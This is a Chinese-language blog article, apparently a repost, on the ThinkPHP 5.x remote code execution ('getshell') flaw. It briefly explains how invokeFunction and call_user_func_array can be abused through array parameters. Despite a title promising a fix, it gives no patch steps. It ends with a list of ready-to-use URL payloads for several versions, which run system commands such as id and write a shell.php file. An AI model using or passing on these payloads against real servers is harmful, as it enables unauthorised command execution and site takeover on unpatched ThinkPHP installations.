thinkphp代码执⾏getshell的漏洞解决
先来简单说说前天thinkphp官⽅修复的⼀个getshell漏洞,框架对控制器没有进⾏⾜够的检测导致的⼀处getshellshell代码
影响的范围: 5.x < 5.1.31, <= 5.0.23
漏洞危害: 导致系统被提权(你懂的)
先来讲下,5.0 跟5.1的区别吧,tp5.1中引⼊了容器(Container)和门⾯(Facade)这两个新的类 tp5.0是没有这两个新的类的,
漏洞原理
我们先来看看App类⾥的 exec函数⾥的执⾏分层控制器的操作
我们这⾥是把controller 的调⽤信息跟配置信息全部传到了 invokeFunction 这个执⾏函数⾥⾯去了
因为think\App是第⼆个⼊⼝,在tp运⾏的时候就会被加载所以⽤think\App⾥⾯的分层控制器的执⾏操作的时候,需要去调⽤invokeFunction这个函数。
这个函数有两个参数,如上图所⽰,第⼀个是函数的名字,第⼆个参数数组,⽐如$function传⼊BaiDu然后$vars传⼊[12,555]就相当于调⽤BaiDu(12,555)
此处我们把function传⼊call_user_func_array然后vars[0]传⼊我们要执⾏的函数的名字vars[1]传⼊要执⾏函数的参数,因为vars是个数组所以此处我们的get请求需要这样写
vars[]=函数名&vars[1][]=参数
此处是利⽤php的数组注⼊
此时此刻就可以开始利⽤远程代码执⾏漏洞了⽐如我们要执⾏system函数他的参数是whoami
下⾯你懂的,作为⼀个接班⼈我们要做的就是修复他(为所欲为?),当然官⽅更新的最新版本是已经修复了的
这⾥就代码执⾏成功,以下奉献上tp不同版本的payload
s=index/\think\Request/input&filter=phpinfo&data=1
s=index/\think\Request/input&filter=system&data=id
s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
s=index/\think\view\driver\Php/display&content=
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
以上就是本⽂的全部内容,希望对⼤家的学习有所帮助,也希望⼤家多多⽀持。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论